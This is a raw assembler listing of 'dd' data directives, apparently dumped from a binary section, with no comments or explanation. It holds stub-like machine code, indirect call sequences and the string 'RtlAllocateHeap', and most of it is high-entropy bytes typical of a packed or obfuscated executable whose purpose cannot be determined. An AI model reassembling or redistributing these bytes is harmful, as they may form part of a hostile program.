dd 7E02F01h, 7FE8858Dh, 0D0FF07E3h, 21658589h, 0F08B07E0h
dd 0FE93E80h, 3A85h, 65B58B00h, 8D07E021h, 0E58E9E85h
dd 8BD0FF07h, 0E02A89BDh, 84C78107h, 83000011h, 0B58B08C7h
dd 7E02165h, 8B9F787h, 0F3000000h, 65B58BA4h, 8D07E021h
dd 0E3B33285h, 61D0FF07h, 0CC858DC3h, 8907E866h, 0E0324185h
dd 36E907h, 4CC00000h, 4411h, 0Ch dup(0)
dd 4CDE9h, 69086800h, 0CCE907E8h, 68FFF818h, 7E86973h
dd 0F818C2E9h, 6AF768FFh, 0B8E907E8h, 4EFFF818h, 0C092AC66h
dd 350721D9h, 0AC7E9850h, 1FF10BC3h, 1469833Dh, 0DA9476ABh
dd 500AEEC0h, 0C9816436h, 3DF7DDAFh, 35584323h, 21D2387Ch
dd 2BF69002h, 0E5A68849h, 4B424701h, 0F9A49BA0h, 5610F6F4h
dd 2300103Ch, 0A36DE90Ch, 71CB2E5Ah, 0D6CDD28Ah, 0E9C3262Bh
dd 0B6994B05h, 0FC02F9FEh, 0DA9BF4B9h, 8BE84921h, 0D4EF0935h
dd 3112253h, 0C66C0000h, 4B5109ECh, 310B9AD9h, 6024384Bh
dd 2C63A922h, 0F9277B81h, 6600233Ah, 0A02E59B0h, 775C364Dh
dd 0D5BCB9BFh, 0CCFED471h, 0BAD16EB2h, 0D4FA1797h, 0F70E6133h
dd 2C58A4CBh, 91888D45h, 37200F8Dh, 12F4045Ah, 0D4DA850Ch
dd 42E12F87h, 9ABD082Bh, 0E63930F4h, 4E0FF5CFh, 0EA04AF67h
dd 9AFB87B3h, 0A64071F3h, 6C0A6A0h, 9285C02Dh, 0BEECD5E0h
dd 324h, 77914B33h, 0EC06BEA5h, 637D351Ah, 0D6F0A891h
dd 4E682204h, 795BD0F9h, 0EFD3A5BFh, 66491B35h, 0DCC294AEh
dd 3D280822h, 0D237971Ah, 0D36DDF21h, 4E08ECC6h, 0F84C5249h
dd 0D1F40B28h, 2E52C62Ah, 0F429B460h, 2432A317h, 0A6886279h
dd 1E00D2ECh, 22FC5F64h, 387B8139h, 0CE5CDF94h, 0B68F492Fh
dd 0DE24554Fh, 0B9517F68h, 9E000002h, 10E2FCB6h, 85577129h
dd 0FCCEE8A0h, 6F415B13h, 64B9D38Dh, 2AE4C67Bh, 0A05A3E10h
dd 19D1B486h, 8D472DFFh, 85A89373h, 21D2382Ch, 0D146E052h
dd 9AD9F04Fh, 1E24DEC0h, 52C620DBh, 62EA162Eh, 47964CC7h
dd 89DCFB01h, 0BFE22184h, 21D277F2h, 0F033398Ch, 21D277BDh
dd 3E43FBDEh, 9CA15940h, 549FF429h, 308EE344h, 53DCCFF2h
dd 1BE1Dh, 452B6700h, 0A288868Bh, 7EA2CEE8h, 3F6BAAC1h
dd 0C9B2B0F6h, 11150C11h, 6B710716h, 5A27D628h, 0F60D602Eh
dd 5C5578B7h, 2221DA28h, 27DDD4CFh, 469921DAh, 1ACF340h
dd 9A21DA28h, 5A12F5B6h, 0AEB35E55h, 0F14CEB0h, 4C97EC19h
dd 2886DB3Ch, 53D49FFAh, 3515h, 9AC65F00h, 0CFB9D687h
dd 5EB2B845h, 3B5E75B2h, 2E59E9B7h, 0A2E9EE41h, 21D9EA0Bh
dd 0F0F5AD90h, 50550DF2h, 8DD02D5Ah, 69C71C7Dh, 53D45D3Dh
dd 0CB56h, 0ECC6A000h, 0BE46F809h, 0FD6D8A80h, 6C524C52h
dd 0CDAFADB2h, 2A100E13h, 876D6B70h, 5398B3CDh, 0B029B9E1h
dd 0BFF610CAh, 0E1545D80h, 6D4F29B9h, 0E0B7AEB3h, 0ED33878Dh
dd 6B0B374Eh, 2C1E93D2h, 25E78589h, 87DE70DFh, 0FDFF2281h
dd 0D32E5778h, 90CB56A7h, 0AFB53322h, 98523690h, 62859C93h
dd 21D7DA4Fh, 1229D427h, 859C5638h, 80DC7ABh, 0C0785F11h
dd 5CBEC4BBh, 15EEA88Ah, 0EDEF9BB4h, 35BAE8D1h, 22000001h
dd 9466803Ah, 9DBF5ADh, 80526C24h, 0F3C5DF97h, 0E83D5711h
dd 0AE684AFFh, 24DEC294h, 9D55380Ah, 11CBB183h, 92C17F7h
dd 21D236A8h, 2BC25CCEh, 0EDA58849h, 70562842h, 39659CB6h
dd 23453E15h, 3C5E64F0h, 0FC1F452Bh, 29BAA0B5h, 0D8BC6EC1h
dd 706E731Eh, 0E28B778Ah, 84F9DAC3h, 0C7F24FFCh, 0EC97423Dh
dd 517AA6D2h, 0BA2C832Eh, 1998BB29h, 6529BA2Dh, 3DE83B12h
dd 2B0DE726h, 0C6CB836Ah, 0DB1E24CFh, 2E5A7AFAh, 3812297Ch
dd 67829C56h, 21DA6746h, 2D81C4F0h, 0AC37FBBFh, 0CC6ACA6h
dd 843E20F2h, 8A517Fh, 0C6E70000h, 545C2A9Ah, 171D61BAh
dd 0C7DE5DC3h, 4A4F09EDh, 0CBEE4D53h, 2E52B72Ch, 0AD059E4Ah
dd 3C5F4B2Fh, 0B9A07A91h, 0B0AEFB01h, 24F610CAh, 387F843Eh
dd 625B5EB0h, 0A7AC644Bh, 80DC7A9h, 7BC61BDCh, 78C21F54h
dd 0ECBED892h, 49474C06h, 0A5A3A860h, 7050AC2h, 0FB636820h
dd 68125DB2h, 0AE94E63Bh, 2208DAF4h, 26006368h, 8F868B43h
dd 3B40F8DDh, 11143E44h, 6D000000h, 0EEF4AC93h, 0C39AC6CCh
dd 0D81DED9Bh, 0B977787Eh, 8489432Bh, 0E1E6A086h, 434800E3h
dd 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h, 2025DDC2h
dd 7E833B22h, 0DD686Dh, 4890000h, 0E6895624h, 4C681h, 0EE830000h
dd 24348704h, 2404895Ch, 6EEA68h, 241C8900h, 29015FB8h
dd 7CBE5627h, 3120C169h, 5F685EF0h, 89000028h, 4812424h
dd 424h, 0EC815B00h, 4, 81240489h, 0B872434h, 438F703Eh
dd 8738108h, 703E0B87h, 5B2434FFh, 4C481h, 48B0000h, 0E6895624h
dd 4C681h, 0C6830000h, 24348704h, 140DE95Ch, 259EFFF8h
dd 51B8AAAEh, 307E86Ch, 7DE0FFC5h, 0DF6CA893h, 7331CF4Fh
dd 0E752FC05h, 444B1155h, 0A5678ACAh, 1E08E520h, 32652C16h
dd 0D47FDE1h, 31107782h, 0C82AE571h, 87C1DE4h, 9F55F499h
dd 3F2867CEh, 0E36F1389h, 0F30E1975h, 8D0655F1h, 0E86DCF8Dh
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 0B2AA33BBh, 73206B6Fh, 0BE9CA56h, 75000000h
dd 44228935h, 6408A7F6h, 8D8959A8h, 7E01815h, 17B1BD89h
dd 9D2907E0h, 7E031E9h, 204985C7h, 71A407E0h, 0D48A0000h
dd 22C585C7h, 7E0h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 3A2D71C3h, 7907EF27h
dd 2A5DB5FFh, 890F07E0h, 6, 1DCD958Bh, 8C0F07E0h, 8, 2810Fh
dd 3CB00000h, 209195FFh, 0F08A07E0h, 95FF006Ah, 7E018A9h
dd 2AEBC08Bh, 71557E65h, 3EF15188h, 82CC99D1h, 66BE3F04h
dd 0F022BD61h, 5A8D3A53h, 1DA8484Ah, 0D9FC7465h, 587C7E5Ah
dd 0C891E620h, 3DE9F5E8h, 34000000h, 5276C6BFh, 6C416C74h
dd 61636F6Ch, 65486574h, 7061h, 1400h, 9 dup(0)
dd 1066E9h, 70376800h, 8CE907E8h, 68FFF812h, 7E87115h
dd 0F81282E9h, 734A68FFh, 78E907E8h, 68FFF812h, 7E87448h
dd 0F8126EE9h, 779E68FFh, 64E907E8h, 68FFF812h, 7E87836h
dd 0F8125AE9h, 787568FFh, 50E907E8h, 68FFF812h, 7E87982h
dd 0F81246E9h, 7A2A68FFh, 3CE907E8h, 68FFF812h, 7E87AAEh
dd 0F81232E9h, 7C1D68FFh, 28E907E8h, 68FFF812h, 7E87D2Bh
dd 0F8121EE9h, 4600E8FFh, 0BB735A2Ch, 32EACFA1h, 0A55D4618h
dd 1DD7B98Bh, 1005AE03h, 885A742Eh, 0FED0EAA4h, 7749631Bh
dd 0DDBDD791h, 32E2CFF2h, 2A9C21D2h, 84452B90h, 0E7DEE39Bh
dd 8F944C35h, 0EAE8ED98h, 0F4334A04h, 9F27B1C8h, 0EBE6EE51h
dd 29BA6EC6h, 0A575DB0h, 6C71290Ch, 0CDD28C6Eh, 0CDDBECCFh
dd 0AB4E6142h, 7DA9AE59h, 721C67BCh, 0B89EE845h, 425913F7h
dd 0BA54921Fh, 0EE99EC29h, 662002D4h, 0DA947A4Ch, 30F1D7D5h
dd 0F0A88D4Eh, 54809A45h, 19586FCCh, 811807EDh, 0F8DFE39Dh
dd 573DEFABh, 0AA54979Dh, 0AC2E59D8h, 86684259h, 0D20AFC73h
dd 0D07BB218h, 81CED4CBh, 0DA15733Ah, 1469CA21h, 0D46D88B6h
dd 31A353h, 0C6ED0000h, 0A14D6487h, 0E6FC29BAh, 0C7EBD8C2h
dd 0CED427FEh, 8299967Ah, 5A03935Fh, 959AED2Eh, 0DA055F4Eh
dd 207DDE21h, 0D4769CCAh, 0BAB753h, 2B010000h, 35748B45h
dd 0BAA09F12h, 7E84D729h, 97513331h, 0F4AE9492h, 510BF1EFh
dd 3CD40037h, 4E5C52A8h, 9BA05A40h, 0B0F3F9A4h, 29BA923Ch
dd 4930F1D7h, 0EAEFA78Ah, 454348F3h, 0AEA5AA62h, 67415803h
dd 60C2C880h, 0E9EEA88Eh, 99B08F91h, 5A6A4C76h, 657FD22Eh
dd 4158D739h, 0C3C88067h, 4467C6CCh, 2677E60Bh, 2701186Bh
dd 9F718B45h, 6119FCBDh, 0E1BA655Ch, 0E60F5E34h, 0DDB2E0C9h
dd 6200000Dh, 0D4A6C07Ah, 491B35EDh, 0C092AC64h, 33051FD7h
dd 287D9751h, 0EEA88ABFh, 641E02D4h, 0DD95784Ah, 510BF1C3h
dd 496C5737h, 21D23168h, 2B029C0Eh, 0A3758F49h, 0EFE903BDh
dd 0D9F04FD1h, 5AA03CB6h, 6A6FC22Eh, 0DA9F8A23h, 0FD52B321h
dd 0CDE40746h, 0A921DA9Fh, 1C4A5056h, 5C53D4EBh, 530BE530h
dd 8E726C6Eh, 9F2329D4h, 0B9h, 84452BE9h, 373CE79Fh, 989D5739h
dd 0BAA59B51h, 5610F629h, 6F80653Fh, 9274F8BAh, 545A05A6h
dd 803A20F2h, 0AA072A69h, 0D429BA22h, 0D62E7B81h, 0AAD6ED4Ah
dd 0DA5E68CCh, 68C7CD97h, 5A297D45h, 96B0032Eh, 0A082A66Ah
dd 1243BE6h, 26779F5Dh, 5731489Bh, 0CFA1BB75h, 8A492CEDh
dd 0F2E9EEA8h, 0F9B39547h, 94CE754Eh, 7E67E60Fh, 0CFF50h
dd 9E584000h, 13CBB284h, 8A4227F9h, 0FDB59E70h, 752F11E3h
dd 68DD065Bh, 0E0B2CC86h, 562842FCh, 0CFA1BB73h, 35152FE9h
dd 2F8A274Ah, 82F421D2h, 8F492BE8h, 0AABDA375h, 486B52ACh
dd 29BA1B69h, 39BEC215h, 0A7C16C5Eh, 8B452BADh, 0E8A28886h
dd 76B97CEh, 0D4353786h, 0FBE8C311h, 11BCBA7Bh, 61E5C80Bh
dd 0D0B629BAh, 442AFC16h, 3DE8A083h, 9A543A38h, 0A1B29795h
dd 31F296C8h, 0B4B964AEh, 0FA832E51h, 0A8FB29B9h, 6D5314F6h
dd 0CB7AEB3h, 25F9407h, 55AA3BFh, 0F913CDB3h, 344CEF1Bh
dd 970854h, 0D1520000h, 0FFD9F04Fh, 1A5F631Dh, 757F3435h
dd 0A2C5242Ah, 2E59FE04h, 0C72A2F82h, 0FA4C6588h, 0DF3221D9h
dd 0FA1796D9h, 0DB2621D9h, 0FA38799Ch, 7E6321D9h, 0F3CAC1C6h
dd 0C8259AA0h, 0A25A3F19h, 4168969Ch, 4E8353D4h, 90000000h
dd 1016D0B6h, 0A0CCE2EEh, 0AB7529BAh, 7052758Ch, 0E62E5AB3h
dd 68427993h, 0CFC6CB83h, 33EDCFC9h, 0ED4AD62Eh, 7B33B3D6h
dd 62B5267Ah, 82937648h, 0BCB8E696h, 4D31E310h, 8BE3E893h
dd 6C8FA685h, 2E599FD2h, 0F5F71164h, 8D9h, 0AECC68Bh, 4E544B50h
dd 21916FAh, 5A801FDFh, 1DFFD92Eh, 0EB3E5D63h, 5C16FAD4h
dd 245C6057h, 68185A21h, 148959Bh, 21DA90ACh, 876C4691h
dd 0FF54C9CFh, 0D4F665A1h, 248E53h, 6F9B0000h, 950A6B3Ch
dd 8CF3A75Fh, 9DEE7074h, 0E2092B31h, 29BAA0CBh, 3E6C0D7h
dd 494F464Bh, 0FFFC3C1Fh, 4FD1B5FFh, 60B6D9F0h, 962E5ABDh
dd 708FBE6Ah, 0ECF252AFh, 2E757ACDh, 21DA9B7Fh, 51005DBEh
dd 0D4DA9277h, 0D4E390CEh, 4F0BB53h, 0C6050000h, 484D05ECh
dd 8FD94B51h, 273EFD23h, 5AA56204h, 0C2E5A42Eh, 21DA99EFh
dd 0E321DB87h, 7E1844Dh, 15FCB15Ch, 789F01D7h, 0D4EB48D8h
dd 34C8E9B1h, 5FF31F80h, 0C5CF6F10h, 9B163950h, 0E37FF56Ah
dd 186B8A90h, 0D655BB13h, 0A8399CBFh, 63BD8494h, 2A13C57Fh
dd 0D6B0C772h, 4A1C36F0h, 30D1AA64h, 0CD94331Ch, 0ACAB6E4h
dd 8D750000h, 0E7B9D3h, 775C2E48h, 0EAD3A5BFh, 64461832h
dd 923B90AAh, 0E701BB9Dh, 5D773115h, 0D6F0A88Bh, 4A641E04h
dd 555C7F6Ah, 2121D22Eh, 452B15AFh, 0E22E868Bh, 270B2E45h
dd 112E5AA4h, 93995337h, 300A2174h, 527E954Dh, 1C41EE0Fh
dd 10F5A7DDh, 565C5358h, 873F22F4h, 0D763B82h, 0D1DC21DAh
dd 6521DA1Dh, 1DAE0326h, 9ED21DAh, 7C534A4Fh, 41CF2329h
dd 1AA8CBE2h, 64267A0Bh, 0E9EEA88Ah, 7ACDECF2h, 0F47F2E75h
dd 5DBE29B9h, 467CAA00h, 90BC5434h, 6776E078h, 34BD614Bh
dd 0D60F4246h, 0EDF2AA93h, 0C1454BF6h, 22h, 6487C60Bh
dd 29BAA14Dh, 0ABB06A4Eh, 848ADDB4h, 2C43E030h, 5AB70D09h
dd 13186B2Eh, 20E5h, 4FD17B00h, 474B05E9h, 9618D12Eh, 475E09AEh
dd 5A6D2E24h, 492E882Eh, 42EDA58Ah, 969B463Dh, 8B452B70h
dd 0CD327B2h, 0A1CFB8E6h, 9CCh, 0B7D18B73h, 2C46FEE5h
dd 0A3BD755Ah, 1630E8D1h, 8EA86244h, 0B99B9039h, 2F13E5FFh
dd 0A6895B75h, 1C02D4EEh, 7D684862h, 0D22D575Ah, 13AD1F21h
dd 0D9F04FD1h, 0F5B64DADh, 4E54E933h, 428ACCEFh, 0D2AC2E5Ah
dd 0E23237EFh, 4D4E321Ch, 9FA550B4h, 2A282D80h, 779D8344h
dd 0DA145D54h, 1BC61921h, 0F33B5670h, 4507110Dh, 50A83E19h
dd 71773F60h, 1933F21Dh, 0ED0423EDh, 70752F13h, 0F1147379h
dd 0DAEE161h, 583E18D7h, 0A7A2999Eh, 26EDA0Ah, 71762174h
dd 934B340Eh, 0F4AC938Dh, 367B9EDDh, 40026EDAh, 5985E7EDh
dd 3E6178B7h, 70EC784h, 3BAB4EFAh, 0A14117C5h, 0AC5702BAh
dd 874D60A7h, 8FF0090Fh, 0FCAEDC32h, 35C9749Fh, 13000001h
dd 0D9F04FD1h, 5A83A0B6h, 0BEC3162Eh, 620DAC0h, 8F944E34h
dd 1176E648h, 47214007h, 13F6A860h, 83E0555Bh, 7F995339h
dd 0CF876E48h, 0D3CDD3CAh, 0E72E33EDh, 0EE467C47h, 8ADC315Eh
dd 99D0EAA4h, 1B21DBBFh, 7C813B21h, 2A41FE24h, 0ADB26C50h
dd 6914CCAFh, 0B0E10463h, 8621DA7Bh, 23ED1933h, 74CAED04h
dd 2267A64h, 847AAAFh, 0BA92CCE5h, 595FB229h, 0A8BF795Fh
dd 4BD6E7CEh, 0EDBB0510h, 0F95B610Ch, 516083C2h, 2D29BA7Dh
dd 8934ECD3h, 0E9A38983h, 195581E4h, 0B88A31EAh, 0E5C4070Dh
dd 0CE29B9A8h, 14FA4CA1h, 0EE25405Ah, 1F5DEDA0h, 491B35F0h
dd 6692A963h, 73319377h, 0D11E2449h, 0A876778Ah, 257AAF3Bh
dd 1933EDD3h, 184E6147h, 8A212A1h, 22858A35h, 7E8744F6h
dd 181E01EBh, 0C8DF5CC4h, 10C8AF89h, 6D270D0Bh, 0C2C67168h
dd 0EC21382Fh, 2E71774Ch, 3C4723B8h, 85C4DB2Eh, 0C7144F62h
dd 0A74CFA33h, 0DFA8DC5Eh, 0DC5AE08h, 60661108h, 6588C7FEh
dd 33C78A4Ch, 0A5C8DF32h, 33C78A0Ch, 0EF191F72h
dd 54h, 0D1896E48h, 0ADCFD5CCh, 0D9F04FD1h, 5AB760B6h
dd 4F2AD62Eh, 9850336Dh, 0DD989C93h, 0C908EB55h, 0C0CBDD36h
dd 67656A15h, 8AAEC880h, 0EC324F30h, 0D6F9384Fh, 21D9FDDBh
dd 0EB4A50A3h, 674A6DACh, 0F21D9FEh, 6E280ABCh, 296C7269h
dd 21D9FD90h, 659393E6h, 748B452Bh, 0F9FEB89Ah, 6E9AFC02h
dd 2F6E85A2h, 0BAA0A50Ch, 0CC7ED129h, 31282DE5h, 85A9CC2Bh
dd 0F32E5A84h, 0B4A89A0h, 0DA7BC9E8h, 6762B521h, 21DA7C4Ah
dd 0D7EA8834h, 5E895BE4h, 0F4EADB3h, 0A78D4C35h, 0AE9042EDh
dd 0F2F8EFF4h, 745615F8h, 0A7BEB5BAh, 0D9CA2D84h, 4BF64921h
dd 0C47C5F31h, 7AB967BFh, 644A2463h, 0A8AEA5AAh, 79CDCD65h
dd 5B60B326h, 0B9DE9914h, 0BB78A829h, 0CC4181A4h, 64B72E59h
dd 0D190734Dh, 858B36EEh, 7396D538h, 21D9B43Eh, 9CDFE538h
dd 21D9B411h, 0EAEFA78Ah, 4C5109ECh, 0BF025F20h, 0A88A64AFh
dd 0ECF2E9EEh, 916B1A77h, 5C43F5AFh, 6A989EA4h, 8553D407h
dd 18h, 0F04FD1CFh, 0B760B6D9h, 83D62E5Ah, 21507Eh, 0CFA90000h
dd 6282EE6h, 500AECC6h, 8550544Bh, 0F93B3D3h, 66AAFE04h
dd 0C38FB2C9h, 3D2E5A51h, 2BBFE5EAh, 2DB28B45h, 0C2E60CD3h
dd 676ABD9h, 0E1C90000h, 543B0D27h, 0CBB0829Ch, 3E27F913h
dd 0B89A6C86h, 268FE4FEh, 3B550FF1h, 0B1CB8569h, 2A44FCDFh
dd 9EB87258h, 1B0D3BEh, 7D21D22Ah, 0B2B3710Bh, 769922EEh
dd 29BAA13Bh, 2E45F043h, 5AA55B0Bh, 954A9D2Eh, 1C73C3AEh
dd 1D1A06E4h, 78C1DA06h, 3CD7DB6Bh, 0FAB4D736h, 7C68B471h
dd 44CC2429h, 18ADD0E7h, 8E6C1465h, 0ED985234h, 6119FCD6h
dd 5F655Ch, 6C864026h, 0DED3F635h, 98641496h, 989D553Eh
dd 0F6F0F6A1h, 7E7D5610h, 97ABB2DDh, 5DE80AEh, 79610000h
dd 0ECD3A5BFh, 63481A34h, 0D6BF91ABh, 5032041Eh, 0BE277C96h
dd 0D3EDA789h, 49631D01h, 0C2DC9477h, 36500AF0h, 69486B56h
dd 1521D229h, 452B09A3h, 0D2B9B28Bh, 0EDD6E60Ch, 59FBFh
dd 0FEB8A000h, 732B12E4h, 0EAA28759h, 5D15FED0h, 0D58F7143h
dd 0C87D66BBh, 40122CE6h, 0B688A25Ch, 2F011BD3h, 95758F49h
dd 292A87AAh, 0E25421D2h, 6487C648h, 29BAA14Dh, 55B57D29h
dd 0D491439Dh, 43292329h, 0E42C8489h, 0C5F13047h, 0AC46A61Ch
dd 0B5D8EFF3h, 29BA15FCh, 0E6292F82h, 2E5243BEh, 805A71C4h
dd 0A9CCE39Bh, 21D1BC08h, 0B3151B6Eh, 839A9987h, 71D29E60h
dd 2E459826h, 0ADB36B54h, 9BBEFD60h, 29B1AE16h, 0C4070D60h
dd 29B1ADE9h, 4D2F0954h, 0BB188D93h, 3C153965h, 0A25254h
dd 0B39C0000h, 221EFB3h, 0A59EC8EBh, 6C982E5Ah, 394F8861h
dd 69888E03h, 0CC2A87AAh, 15421D9h, 0EDBAA156h, 38DEDCDDh
dd 11344BE8h, 6572C089h, 545D80BFh, 2A5AB2B3h, 5FB2D1D7h
dd 211E025Ah, 0EFEEE70Ah, 0C9085F51h, 0D6100BA6h, 9207360h
dd 0D60FCBE6h, 5A60B360h, 0F7D1E83Bh, 6B3D5711h, 0FF2CB85h
dd 20AEF164h, 4920937h, 0C5AD0000h, 381FF10Bh, 0AF946680h
dd 220BDDF7h, 9C7E506Ah, 4A73C8E2h, 1F39F3D5h, 95AF694Dh
dd 0E28E0C3h, 829C563Ch, 1D94B7A2h, 5921D228h, 0A3FB4DE7h
dd 91000000h, 7F9E9AC6h, 74B82DB0h, 39F61A6Eh, 55B5FF22h
dd 78CB2E52h, 0E7A18761h, 5B15FBCDh, 1512FE56h, 27DAD2FEh
dd 0E0C0D964h, 52587BDAh, 0CC267202h, 5AB5DEA0h, 0C1B8BD75h
dd 0DECDDDBDh, 7B5FB9D8h, 0AEC5BCC1h, 0B25E268Bh, 52FD5029h
dd 0C2BF54Dh, 78E0D2F5h, 0EA962E52h, 6BE347D9h, 2C6613D8h
dd 25E0E288h, 19F6CF7Ah, 2EEDF523h, 3EA1745h, 6D550000h
dd 0E0C799B3h, 573C0E28h, 0CAB3859Fh, 4426F812h, 0B21B708Ah
dd 0C7E19B7Dh, 3D5711F5h, 0B6D0886Bh, 2A44FEE4h, 753C5F4Ah
dd 121D226h, 0CFE2F58Fh, 8329BAA0h, 29BAA12Ah, 9FCDE00Ch
dd 9C061B7Bh, 61DE4296h, 4F310B4Ah, 0D4409095h, 0AB4D824Eh
dd 0E4272DD8h, 2E51D5C0h, 0FB5E63B6h, 0A1899BCh, 803121D2h
dd 8236BA82h, 5357AA81h, 0BF66D5D8h, 423C420Eh, 0F2C9A25Ch
dd 0BEDF535h, 366F422h, 0F1D90000h, 644B1D37h, 0DBC092ACh
dd 4E370923h, 0C8AA7C96h, 369FF40Eh, 4B651F01h, 0C1DB9579h
dd 3A540CEFh, 0AEC88268h, 0F1C0E3CEh, 8D21D226h, 452B811Bh
dd 7D48748Bh, 0E2D1EB3Fh, 0E8A28436h, 99E6ECE3h, 4960DF41h
dd 5A5E3026h, 452C862Eh, 0ADC8E28Dh, 2EC78883h, 0E0388DB9h
dd 749D2132h, 7F92746Eh, 1336411Dh, 10BD079Eh, 0A88185D8h
dd 2640EB57h, 0B3B87254h, 5F79B45Bh, 3ECC665h, 0FCB4994Bh
dd 0FA00F7h, 0B973591Ah, 250B090Eh, 0FB25516Bh, 0EE995335h
dd 0A74AB4D7h, 79CC2E5Ah, 9A802D74h, 5CBD21DAh, 0EE115007h
dd 21DA9AC3h, 5C6268BBh, 53D4E02Eh, 4349h, 4FD19300h, 3CB6D9F0h
dd 0C22E5AA0h, 9FD1E003h, 53AD21DAh, 5C07B26Ah, 0CB856B45h
dd 3B1578C5h, 0AA2E4152h, 7038F920h, 0A21EC1C5h, 0B3922C50h
dd 3F436AADh, 99FA21DAh, 88B8E644h, 0B8D353D4h, 1D000000h
dd 868B452Bh, 0E7ECA688h, 0DA3A5884h, 2691B354h, 86402620h
dd 779D8381h, 0B9C25D54h, 0D9BF1929h, 0AFC9741Fh, 0B9C65894h
dd 13CDB329h, 1B4127F9h, 0B9C5B9F8h, 0C772C529h, 89A66AC2h
dd 0A7D74F72h, 3E912E59h, 0B28F824h, 2525D1F4h, 10632677h
dd 833D1FF9h, 0F1A9926Ch, 5CFAB7DAh, 318429B8h, 15F7C92Bh
dd 16B1825Bh, 0E5CEE60Fh, 1F7B7h, 0A6604800h, 1BD3BA8Ch
dd 924A2F01h, 5BDA678h, 7D3719EBh, 70A50E63h, 0E8BAD48Eh
dd 5E304A04h, 0D7A9C37Bh, 3D1D37F1h, 24822F52h, 8AFC21D2h
dd 8F492BF0h, 0FCBDA375h, 0B6705413h, 2208060Bh, 0C16C6368h
dd 0D102FC16h, 0B6D9F04Fh, 2E5AA03Ch, 236A6FC2h, 21DA9F8Ah
dd 9FFD52B3h, 53D4EB63h, 0EF8Ch, 87C6D600h, 0BAA14D64h
dd 0E8CF2929h, 857F8530h, 0E2E0E59Fh, 552F4600h, 0BAB1B66Eh
dd 0CC2067B4h, 229BAA4h, 8080C6D6h, 191D9FEAh, 5453B72Bh
dd 332D33C4h, 0A779934Dh, 0AA0207C1h, 0FB1E5D66h, 29BA0BB6h
dd 3F726DC0h, 0F729BA0Ch, 0BA0BDDD4h, 6F469929h, 1B5A711Ch
dd 115A25EFh, 61780CEFh, 0BA2C733Eh, 0B2B80B29h, 5A0DB76Fh
dd 0F32712Eh, 21DA4AA2h, 0E19982DCh, 0BE113036h, 8BA878A4h
dd 0C2065174h, 31842677h, 0A45E401Ah, 9379538Ah, 0D7DDD4D9h
dd 563AFBDDh, 0B299979Ch, 0CBA44FFAh, 0E60FC290h, 0E90A3821h
dd 56000000h, 0C89AB46Eh, 3D0F29E1h, 0B486A058h, 27F913CBh
dd 1C718B45h, 0E29C7EB3h, 5812F6C8h, 0D1896C3Eh, 45FFE5B7h
dd 3D604B2Bh, 21D22474h, 2BFE980Ah, 9E788F49h, 6FD02BCh
dd 0E6CC9E00h, 7F843C25h, 0C9C3DD88h, 868B452Bh, 0CEE8A288h
dd 1CD4BD97h, 885EC216h, 0F1147329h, 29B9BAC0h, 0DE5F63B6h
dd 3FF7DA82h, 9498433Ah, 1972A15Ch, 0BAD17C48h, 529F1997h
dd 0F50C5F2Eh, 5D5477B6h, 1921D243h, 42E6CBC6h, 3D9021D2h
dd 4887EA37h, 0D2428C25h, 999FF221h, 0E5FFB99Fh, 6E732D13h
dd 0AC025E27h, 8F698850h, 0BADDF4ACh, 0B2F402F7h, 0B1262C7Fh
dd 6A240A5Ch, 0DC947953h, 0BCA274D6h, 16FFFD02h, 67A67F05h
dd 63D2FC94h, 167276A6h, 0C1C67182h, 0F7419ECBh, 66405711h
dd 61C3C981h, 0EAEFA98Fh, 3BCh, 66245200h, 8489432Bh, 0E1E6A086h
dd 434800E3h, 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h
dd 2025DDC2h, 7E833B22h, 4FB8686Dh, 14890000h
dd 0E0895024h, 405h, 4E88300h, 5C240487h, 50243C89h, 405E089h
dd 83000000h, 48704E8h, 0C895C24h, 6EBD6824h, 3C8B07E8h
dd 4C48124h, 54000000h, 83240C8Bh, 0B85004C4h, 8, 3889C801h
dd 8324048Bh, 34FF04C4h, 0C4835924h, 243C8B04h, 81E38953h
dd 4C3h, 4C38300h, 5C241C87h, 0F80232E9h, 0B81E55FFh, 7E87E39h
dd 0E0FFC503h, 18EF13C3h, 484C3E9Ch, 3937EE63h, 2ED58A08h
dd 76D30150h, 11E0123Bh, 43D7373Dh, 53D22F2h, 20766FA0h
dd 19901B02h, 30813DC2h, 28D82E11h, 1BC92EE2h, 2FE22DB2h
dd 78101817h, 4E5A839Dh, 988EB1Bh, 197755FFh, 779423F5h
dd 65BCBD45h, 4206678Fh, 63A1CE48h, 7FE28D8Dh, 8D8907E8h
dd 7E03109h, 17CDBD89h, 8D8907E0h, 7E01815h, 18119D2Bh
dd 85C707E0h, 7E02049h, 6A64h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 9FC35040h, 8E9h, 68A80D00h
dd 0EAF4BA02h, 29852944h, 0C707E02Bh, 0E022C585h, 7, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 0B950160Eh, 0BE45DA41h, 0ACB31B2Ch, 68B0Fh, 8D290000h
dd 7E02331h, 6D5B5FFh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 0FD68B9C3h, 7C2F3CDCh
dd 0CDBD8B1Bh, 0FF07E017h, 0E0209195h, 6DBD8907h, 6A07E008h
dd 0A995FF00h, 8B07E018h, 6469EBC0h, 581C2B32h, 8F71D240h
dd 0C18CBFC4h, 4BEAE540h, 4711A1h, 1319C043h, 41E8D414h
dd 9565247Bh, 18BFF09Eh, 0CB185E72h, 8FB20A4Ch, 2E4BD9FFh
dd 0E65ED801h, 8CF65BF7h, 0C6F8546Eh, 1C8D1CEEh, 0BEAC92DAh
dd 0E98A8435h, 0DF25C916h, 801BB06Bh, 0D551A426h, 421BFA4Bh
dd 4B9EDEA2h, 0C6163C55h, 5534F5ECh, 981BF2Fh, 13E9h, 41950D00h
dd 3Ch, 3 dup(0)
dd 523E9h, 0F6B09800h, 6B230ADCh, 0E29A7F51h, 550DF6C8h
dd 0CD87693Bh, 0C0755EB3h, 380A24DEh, 0AE809A54h, 27F913CBh
dd 8D6D8741h, 21327FA2h, 0DA4C21D2h, 3ECC640h, 9D4F464Bh
dd 0FCF6FCB4h, 7CB50316h, 6D52EA99h, 77FABC2h, 0EF2F2F0Dh
